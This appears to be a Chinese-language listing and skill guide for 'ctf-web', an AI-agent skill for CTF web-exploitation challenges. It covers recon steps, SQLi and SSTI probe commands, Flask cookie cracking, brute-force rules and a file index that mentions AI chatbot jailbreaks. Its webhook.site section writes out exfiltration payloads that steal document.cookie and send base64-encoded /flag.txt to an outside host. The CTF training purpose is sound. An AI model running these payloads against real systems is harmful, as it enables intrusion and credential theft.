关于 ctf-web
面向安全人员的 CTF Web 利用技能,先指导梳理应用及信任边界,再选择相应技术,并提供常见漏洞手册和可选 MCP 工作流。
主要功能
- 01应用初步侦察流程
- 02服务端与客户端利用笔记
- 03认证与访问控制指引
- 04载荷参考与工具说明
- 05MCP 集成说明
适用场景
- 01测试前梳理路由和信任边界
- 02调查 SQL 注入或 SSRF
- 03测试依赖浏览器的题目
- 04根据题目线索选择技术
MCP 相关
文档介绍了用于浏览器相关题目的可选 Playwright MCP,以及用于 HTTP 层工作的 Burp Suite MCP,并说明配置注意事项和工具限制。
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ ljagiello/ ctf-skills --skill ctf-web安装后在 Claude Code 中输入/ctf-web确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
auth-and-access-2.mdauth-and-access.mdauth-infra.mdauth-jwt.mdclient-side-advanced.mdclient-side.mdcves.mdfield-notes.mdnode-and-prototype.mdpat-reference.mdpython-requests.mdserver-side-2.mdserver-side-advanced-2.mdserver-side-advanced-3.mdserver-side-advanced-4.mdserver-side-advanced.mdserver-side-deser.mdserver-side-exec-2.mdserver-side-exec.mdserver-side.mdsql-injection.mdtools-mcp.mdweb3.mdscripts/async_fuzz.py详细介绍
CTF Web 利用
将此技能用作 Web 类挑战的路由与执行指南。首次检查应简短:梳理应用、确认信任边界,然后再深入查看详细技术说明。
前置条件
Python 软件包(所有平台):
pip install sqlmap flask-unsign requests httpx
Linux(apt):
apt install hashcat jq curl
macOS(Homebrew):
brew install hashcat jq curl
Go 工具(所有平台,需要 Go):
go install github.com/ffuf/ffuf/v2@latest
手动安装:
- ysoserial — GitHub,需要 Java(Java 反序列化载荷)
- PayloadsAllTheThings — 克隆到 ctf-web/payloads/PayloadsAllTheThings(可通过安装脚本自动安装,也可按需克隆)
bash scripts/install_ctf_tools.sh pat # PAT only bash scripts/install_ctf_tools.sh all # all tools including PAT # manual fallback: git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThingsPAT 为可选项,按需使用 — 加载时不需要。没有它,技能也能正常工作(可优雅降级):
pat-reference.md提供包含示例载荷的离线索引;批量字典需要克隆上述仓库。
MCP 服务(可选): Playwright MCP(microsoft/playwright-mcp)适用于依赖浏览器的挑战(DOM XSS、管理员机器人、SPA 客户端密钥);Burp Suite MCP(PortSwigger/mcp-server)适用于线级操作(控制 HTTP/1.1+HTTP/2 报头、请求走私、通过 Collaborator 进行盲 SSRF/XXE、用正则表达式挖掘代理历史记录)——详见 tools-mcp.md。使用 Burp MCP 前要做好两件事:在 Agent 启动前先启动 Burp,并在 Burp 的 MCP 选项卡中关闭两个审批门槛,否则首次工具调用会被模态对话框阻塞。
其他资源
- sql-injection.md - SQL 注入技术:绕过身份验证、UNION 提取、绕过过滤器、二阶 SQLi、截断、利用竞态条件泄露数据、通过 INSERT ON DUPLICATE KEY UPDATE 覆盖密码、绕过 innodb_table_stats WAF
- server-side.md - PHP 类型 juggling、php://filter LFI、Python str.format 遍历、SSTI(Jinja2、Twig、ERB、Mako、EJS、Vue.js、Smarty)、SSRF(Host 头、DNS 重绑定、curl 重定向、未转义点号正则、SNI FTP 走私、mod_vhost_alias)、PHP hash_hmac NULL
- server-side-2.md - XXE(基础、OOB、DOCX 上传)、通过 X-Forwarded-For 进行 XML 注入、PHP 可变变量、PHP uniqid 可预测文件名、顺序正则替换绕过、命令注入(换行符、阻止列表、sendmail CGI、多条码、git CLI)、GraphQL 注入(内省、批处理、插值)
- server-side-exec.md - 直接代码执行路径、从上传到 RCE、与反序列化相关的执行、LaTeX 注入、请求头和 API 滥用
- server-side-exec-2.md - 更多执行链:SQLi 分片、路径解析器技巧、多态上传、包装器滥用、文件名注入、通过文件名截断实现 BMP 像素 Webshell
- server-side-deser.md - Java/Python/PHP 反序列化和竞态条件实战手册、通过反序列化利用 PHP SoapClient CRLF SSRF
- server-side-advanced.md - 高级 SSRF、目录遍历、归档文件、解析器、框架和现代应用服务器问题、Nginx alias 遍历
- server-side-advanced-2.md - Docker API SSRF、Castor/XML、Apache 表达式读取、解析器差异、Windows 路径技巧、恶意 MySQL 服务端文件读取
- server-side-advanced-3.md - 第 3 部分(CSAW/35C3/ASIS/PlaidCTF 2018):WAV 多态上传、多斜杠 URL
path.startswith绕过、猜测 Xalan XSLTmath:random()种子、SoapClient_user_agentCRLF 方法走私、gopher:///无主机 URL 方案绕过、通过攻击者指定的出站 URL 泄露 SSRF 凭据 - server-side-advanced-4.md - 第 4 部分:WeasyPrint SSRF/文件读取(CVE-2024-28184)、MongoDB 正则/$where 盲注 oracle、Pongo2 Go 模板注入、ZIP PHP Webshell、绕过 basename()、wget CRLF SSRF→SMTP、Gopher SSRF 到 MySQL 盲注、React Server Components Flight RCE(CVE-2025-55182)、通过 sslsplit+arpspoof 拦截 AMQP/TLS、CairoSVG XXE、重建 Bazaar 仓库
- client-side.md - XSS、CSRF、缓存投毒、DOM 技巧、滥用管理员机器人、请求走私、绕过付费墙
- client-side-advanced.md - 绕过 CSP、Unicode 技巧、XSSI、CSS 数据外泄、浏览器规范化行为差异、绕过 postMessage null origin
- auth-and-access.md - 绕过身份验证/授权、隐藏端点、IDOR、重定向链、子域接管、AI 聊天机器人越狱
- auth-and-access-2.md - 第 2 部分(2018 年前后):通过
std::unordered_set桶冲突绕过身份验证、通过nodeprep.prepareUnicode 同形用户名冲突绕过身份验证、通过 SRP A=0/A=N 绕过身份验证、通过 ArangoDB AQL MERGE 提权 - auth-jwt.md - JWT/JWE 操纵、弱密钥、请求头注入、密钥混淆、重放
- auth-infra.md - OAuth/OIDC、SAML、CORS、CI/CD 密钥、IdP 滥用、登录投毒
- node-and-prototype.md - 原型污染、JS 沙箱逃逸、Node.js 攻击链
- web3.md - Solidity 和 Web3 挑战笔记
- cves.md - 基于 CVE 的技术,可用于匹配挑战横幅、请求头、依赖泄露或版本字符串
- field-notes.md - 长篇漏洞利用笔记:SQLi、XSS、LFI、JWT、SSTI、SSRF、命令注入、XXE、反序列化、竞态条件、绕过身份验证和多阶段攻击链的速查资料
- tools-mcp.md - 面向 Web 的 MCP 服务集成:Playwright MCP(复现管理员机器人 DOM XSS、实时检查 DOM/控制台/网络、
browser_network_requests列出端点,但只有browser_network_request part="response-body"会返回负载)和 Burp Suite 官方 MCP(27 个工具、审批门会在模态对话框处阻塞 Agent、目标三元组将套接字与Host:请求头解耦、normalizeHttpContent会重写请求前导部分中的 CR/LF、基于映射的 HTTP/2 无法表示重复请求头、send_to_intruder仅提供阶段、代理历史记录会将条目截断至 5000 个字符、CollaboratorpayloadId/customData仅限 Pro);分别何时使用它们以及何时使用 curl 和 ffuf - python-requests.md - Python requests 工具包:会话脚手架、类似 Burp-Intruder 的模糊测试器(同步 + ThreadPoolExecutor + httpx async)、从 pat-reference.md 词表部署负载、请求头/参数喷洒、Cookie/JWT、代理
- pat-reference.md — PayloadsAllTheThings 索引:XSS/SQLi/SSRF/SSTI/LFI/命令注入/上传的批量负载(需要克隆 PAT,参见 Prerequisites)
何时转换方向
- 如果目标是原生二进制文件、自定义 VM 或固件映像,请先切换到
/ctf-reverse。 - 如果 HTTP 漏洞只能让你执行代码,而难点变成内存破坏或绕过 seccomp,请切换到
/ctf-pwn。 - 如果“Web”挑战的关键实际在于 JWT 数学运算、自定义 MAC 或加密原语,请切换到
/ctf-crypto。 - 如果 Web 挑战涉及分析日志、PCAP,或从 Web 服务中恢复制品,请切换到
/ctf-forensics。 - 如果挑战要求在利用漏洞之前,先从公开 Web 来源、DNS 记录或社交媒体收集情报,请切换到
/ctf-osint。
查找类似题解
如果你卡住了,或者想看看其他人如何解决类似的 Web 挑战,请按照 ctf-similar-search 技能的方法,用自然语言描述搜索请求,并包含挑战名称、比赛名称或挑战中的独特字符串(代码片段、错误消息):
“DASCTF URL Storage” “def encrypt_flag(key)”
此方法会通过 Tavily API 搜索参考题解,帮助你确定正确的利用路径。避免使用“SSRF”或“XSS”等通用词语,而应使用挑战专属标识。
初步工作流
- 确认真实边界:仅浏览器、仅后端、混合应用,还是身份验证流程。
- 在模糊测试前,为每项主要功能捕获一组正常的请求和响应。
- 从 JS 包、响应头、路由和备用方法中枚举隐藏功能。
- 判断可能的漏洞类型:注入、授权、解析器不匹配、上传、信任代理、状态机或客户端执行。
- 先构建最小化的证明:泄露、绕过或原语。之后再进行完整的漏洞利用链。
批量载荷(PayloadsAllTheThings — 按需)
此技能在加载时无需 PAT(可优雅降级):pat-reference.md 和内联示例可离线使用;批量载荷则需要 PAT 克隆。映射信任边界后(参见“初步工作流”),查看 pat-reference.md 中与你的漏洞类型对应的 PAT 目录,然后搜索批量载荷:
# PAT payload search (requires PAT clone — see Prerequisites; gracefully skipped if missing)
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head
grep -R "onerror" "ctf-web/payloads/PayloadsAllTheThings/XSS Injection" 2>/dev/null | head
也可以通过 Agent 工具使用(索引本身无需克隆):
Glob ctf-web/payloads/PayloadsAllTheThings/**/*.md
Grep "union select" ctf-web/payloads/PayloadsAllTheThings
如果缺少 ctf-web/payloads/PayloadsAllTheThings/.git,Agent 会按需延迟克隆:
[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings
快速入门命令
# Recon
curl -sI https://target.com
ffuf -u https://target.com/FUZZ -w wordlist.txt
curl -s https://target.com/robots.txt
# SQLi quick test
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# JWT decode (no verification)
echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Cookie decode (Flask)
flask-unsign --decode --cookie '<cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt
# SSTI probes
curl "https://target.com/page?name={{7*7}}"
curl "https://target.com/page?name={{config}}"
# Request inspection
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'
登录暴力破解 — 硬性规则
当挑战需要对登录表单进行暴力破解时,必须严格遵守以下规则。切勿自行发挥。
-
用户名始终为
admin。 切勿枚举用户名。切勿创建用户名列表。即使挑战提示“弱口令”或“常用用户名”,这些提示描述的也是密码——目标账户仍然是admin。只有当挑战明确给出其他具体字符串时(例如“用户名是 root”),才使用不同的用户名。 -
密码文件必须是现有的 Kali 字典文件。 默认使用
/usr/share/wordlists/metasploit/burnett_top_1024.txt。切勿自行创建密码文件——不要使用cat > passwords.txt,不要在代码中硬编码密码列表,也不要读取本地的Top1000.txt。你的脚本必须直接从 Kali 字典文件读取各行内容。
有关复杂场景(CSRF 令牌、前端加密、JSON API、Basic Auth、多线程),请参阅 auth-and-access.md 中的参考脚本——但这些脚本仍必须遵守上述两条规则。
需要回答的首要问题
- Flag 可能位于浏览器、API 响应、本地文件、数据库行,还是内部服务中?
- 应用是否会信任用户控制的模板、重定向、文件路径、请求头、序列化对象或后台任务中的数据?
- 是否存在相互矛盾的多个解析器:代理与应用、URL 解析器与抓取器、清理器与浏览器、序列化器与过滤器?
- 能否先将漏洞转化为更小的原语:读取一个文件、伪造一个令牌、调用一个内部端点,或触发一次机器人访问?
高价值侦察检查
- 在猜测 API 接口之前,先阅读 HTML、内联脚本和打包后的 JS。
- 对比 UI 提交的内容与后端接受的内容;可选 JSON 字段往往能解锁隐藏路径。
- 尽早检查显而易见的元数据和辅助路径:
/robots.txt、/sitemap.xml、/.well-known/、/admin、/debug、/.git/、/.env。 - 在有趣的路由上尝试不同的动词和内容类型:
GET、POST、PUT、PATCH、TRACE、JSON、表单、multipart、XML。 - 将文件上传、PDF/导出、webhook、OAuth 回调和管理机器人功能视为可能放大漏洞影响的入口。
快速模式图
- SQL 错误、异常筛选或依赖状态的 DB 行为:从 sql-injection.md 开始。
- 模板化、文件读取、SSRF、命令执行、XML 或解析器漏洞:从 server-side.md 和 server-side-exec.md 开始。
- XSS、CSP 绕过、管理机器人、客户端路由、DOM 问题或无脚本数据外泄:从 client-side.md 开始。
- 会话伪造、隐藏的管理路由、JWT、OAuth、SAML 或薄弱的信任边界:从 auth-and-access.md、auth-jwt.md 和 auth-infra.md 开始。
- Node.js 应用、原型污染、VM 沙箱或 SSRF 到内部服务:添加 node-and-prototype.md。
- 智能合约前端或集成区块链的应用:添加 web3.md。
常见攻击链形式
- 侦察 -> 隐藏路由 -> 绕过认证 -> 读取内部文件 -> 获取令牌或 flag
- XSS 或 HTML 注入 -> 管理机器人 -> 特权操作 -> 泄露秘密
- 路径遍历或上传 -> 泄露配置/源代码 -> 找回秘密 -> 伪造会话
- SSRF -> 元数据或内部 API -> 凭据泄露 -> 代码执行
- SQLi 或 NoSQL 注入 -> 绕过凭据验证 -> 二阶段模板或上传滥用
Webhook 回调(webhook.site)
对于任何需要回调 URL 的漏洞利用(XSS 管理机器人、SSRF 外泄、OAuth 重定向滥用、带外数据注入),使用 webhook.site 即时接收并检查传入请求。
创建令牌(获取回调 URL):
curl -X POST https://webhook.site/token
# Returns {"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", ...}
# Your callback URL: https://webhook.site/<uuid>
在漏洞利用中使用回调 URL:
# XSS payload with webhook callback
curl -X POST https://target.com/api/report \
-H "Content-Type: application/json" \
-d '{"url": "https://webhook.site/<uuid>/steal?cookie=" + document.cookie}'
# SSRF exfiltration via webhook
curl "https://target.com/ssrf?url=https://webhook.site/<uuid>/?data=$(cat /flag.txt | base64)"
# OAuth redirect abuse
curl "https://target.com/auth?redirect=https://webhook.site/<uuid>/token"
获取最近收到的请求:
curl "https://webhook.site/token/<uuid>/request/latest/raw" \
-H "accept: application/json" \
-H "api-key: <uuid>"
何时使用 webhook.site、Burp Collaborator 或 interactsh:
- webhook.site — 设置最快,有浏览器可见的 UI,无需安装;最适合快速 CTF 回调
- Burp Collaborator — 通过 Burp Suite 作为代理时,更适合盲 XSS/SSRF
- interactsh — 用于复杂多步骤漏洞利用的 OOB 交互关联
深入笔记
确认挑战确实以 Web 为主,并且需要完整的漏洞利用目录后,使用 field-notes.md。
- 侦察、SQLi、XSS、路径遍历、JWT、SSTI、SSRF、XXE 和命令注入速查笔记
- 反序列化、竞态条件、文件上传到 RCE,以及多阶段攻击链示例
- Node、OAuth/SAML、CI/CD、Web3、机器人滥用、CSP 绕过和现代浏览器技巧
- CVE 风格的操作指南,以及仍会出现在现代 CTF 中的旧式挑战模式
常见 Flag 位置
- 文件:
/flag.txt、/flag、/app/flag.txt、/home/*/flag* - 环境:
/proc/self/environ、进程命令行、调试配置转储 - 数据库:名为
flag、flags、secret的表,或预置的挑战内容 - HTTP:自定义标头、存档响应、隐藏路由、管理导出
- 浏览器:隐藏 DOM 节点、
data-*属性、内联状态对象、源映射